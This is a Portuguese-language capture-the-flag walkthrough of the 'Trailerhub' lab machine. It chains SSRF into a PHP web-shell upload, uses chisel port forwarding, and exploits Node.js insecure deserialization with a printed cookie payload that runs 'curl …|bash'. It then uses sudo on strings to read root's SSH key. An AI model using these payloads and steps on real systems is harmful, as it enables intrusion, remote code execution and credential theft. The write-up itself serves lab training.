Trailerhub - Medium
Criador: 0xNosferatu Dificuldade: Medium
Enumeração
Podemos rodar o nmap para verificar quais são as portas abertas na aplicação:

Vemos apenas a porta 22 e 80 abertas.
Acessando a apliçação web, percebemos que se trata de uma aplicação de envio de trailers, sejam eles de filmes, músicas, e afins.

Na aplicação temos a opção de fazer registro para realizar a autenticação, e então conseguir ver quais são as features da plataforma.

Ao logar na aplicação, somos redirecionados a página de profile, onde podemos alterar as informações do nosso usuário, porém, não é aqui que se encontra nosso objetivo.

Ao clicar em “Add Movie”, somos direcionados até a página onde podemos enviar o trailer de fato, com vários inputs, como: Title, Image, Duration, Category, Trailer e Description.

Temos de interessante que no input de trailer a plataforma está esperando um link, que talvez seja puxado de forma dinâmica pela aplicação. Então podemos preencher o formulário direcionando o link para http://127.0.0.1 para tentar um Server-Side Request Forgery.

Após enviar o formulário, a aplicação nos envia para a index da plataforma apresentando todos os trailers enviados. Podemos então clicar em “My Movies”, depois em “Edit”, para podermos ver as informações que nos trás.

No final das contas, mostrou onde estão sendo salvas as imagens, pois nos retornou na verdade o HTML da index da aplicação. Como se trata de uma aplicação PHP, podemos verificar se a aplicação está fazendo uma requisição para resgatar o trailer de fato. Então editamos o trailer, adicionando o nosso IP da VPN no link, e abrindo uma porta para a aplicação poder resgatar o trailer da nossa máquina.


Após editar o trailer, ele nos redireciona para “My Movies” novamente, e ao clicar no nome do Trailer, recebemos a requisição.

Exploração
Então quer dizer que a aplicação está fazendo um GET para trazer o trailer. Podemos então fazer a aplicação realizar a requisição para um arquivo que esteja em nossa máquina, e ver se ele faz o download ou se realiza a requisição dinamicamente.
Então nós criamos um arquivo php, colocamos dentro dele um comando para ser executado, e enviamos o link do arquivo no campo “trailer”.


Navegando até o diretório que a aplicação está salvando as imagens dos trailers, vemos que o nosso arquivo PHP foi enviado ao servidor, e assim, conseguimos acessá-lo e executar comandos no sistema.

A aplicação salvou um arquivo chamado “127.0.0.1”. Então quer dizer que conseguimos realmente fazer upload de arquivos no momento de enviar um novo trailer.
Então podemos tentar fazer esse upload.


Depois de enviar o formulário, recebemos a requisição. E validando o diretório para ver se o arquivo shell.php foi enviado, ele realmente foi salvo no servidor, e dessa forma conseguimos executar comandos no servidor.



Podemos então pegar nossa shell reversa, conseguir uma shell interativa.

script /dev/null -c bash
ctrl + z
stty raw -echo;fg
export TERM=xterm
Depois de realizar um reconhecimento no servidor, vemos que está rodando internamente uma aplicação na porta 3000.

Enviar um curl vemos que se trata de uma aplicação Web.

Se trata de uma aplicação web que espera uma requisição POST no envio de um formulário de pesquisa.

Podemos então fazer um port fowarding para interagir com essa aplicação diretamente no navegador, para isso, usaremos o chisel.
https://github.com/jpillora/chisel
Enviamos para a máquina, e fazemos o fowarding com os seguintes comandos:
Na nossa máquina:
./chisel server -p 9000 —reverse
Na máquina alvo:
./chisel client IP_DA_VPN:9000 R:3000:127.0.0.1:3000


Acessando a página no nosso navegador, vemos que realmente se trata de uma página de pesquisa, e realizando a pesquisa no formulário, ele retorna o resultado numa outra página.

Porém, a aplicação interessantemente também salva nos cookies o resultado da requisição codificada em base64.

Decodificando o conteúdo do nosso cookie, confirmamos que realmente se trata do resultado da pesquisa, que inclusive está em formato serializado JSON.

Com isso em mente, podemos confirmar em que linguagem desta aplicação é JavaScript com framework Express.

Portanto, estamos lidando com o que talvez seja uma vulnerabilidade de Deserialização Insegura em Nodejs.
Podemos usar o artigo a seguir para seguir o padrão da vulnerabilidade e conseguir executar comandos utilizando essa vulnerabilidade: https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e
Precisamos fazer algumas edições, então ao invés de usar o “username”, utilizaremos o search, e então passaremos a payload para o valor dele. Ficaria dessa forma:
{"search":"_$$ND_FUNC$$_function(){require('child_process').exec('curl 10.0.16.108|bash', function(error, stdout, stderr) { console.log(stderr) })}()"}
Precisamos também fazer o encode em base64 para passar para o cookie, e então atualizar a página para fazer a tentativa.
Utilizamos o base64encode.org para fazer o encode da payload, e ao enviar na requisição, atualizando a página, recebemos a resposta de fato.
Com essa payload, criamos um index.html na nossa máquina com a reverse shell, salvamos o arquivo no diretório /tmp com o nome de shell para executarmos ele novamente.

Depois, adicionamos o payload ao cookie, e enviamos a request.

Vemos que a request bateu, e provavalmente salvou o nosso arquivo dentro do servidor.

Então agora podemos tentar executar o arquivo. Para isso, vamos atualizar nossa payload de deserialização insegura.

E então conseguimos nossa reverse shell com o usuário nosferatu, assim conquistando nossa primeira flag.

Pós exploração
Fazendo um reconhecimento na máquina, executando o comando sudo -l, vemos que o usuário tem permissão para executar o binário strings com permissão de root.

Utilizando o gtfobins, que contém várias formas de exploração em muitos binários do linux, vemos que existe uma forma de ler arquivos utilizando o comando strings.
https://gtfobins.github.io/gtfobins/strings/#sudo
Com isso, podemos tentar ler a flag que está salva dentro da pasta do root. Porém, parece que o arquivo não existe.

Podemos então tentar ler a chave de acesso ssh do usuário root.

Com a chave ssh do usuário root em mãos, podemos utilizá-la para acessarmos o usuário root via SSH e obtermos a última flag.

Last updated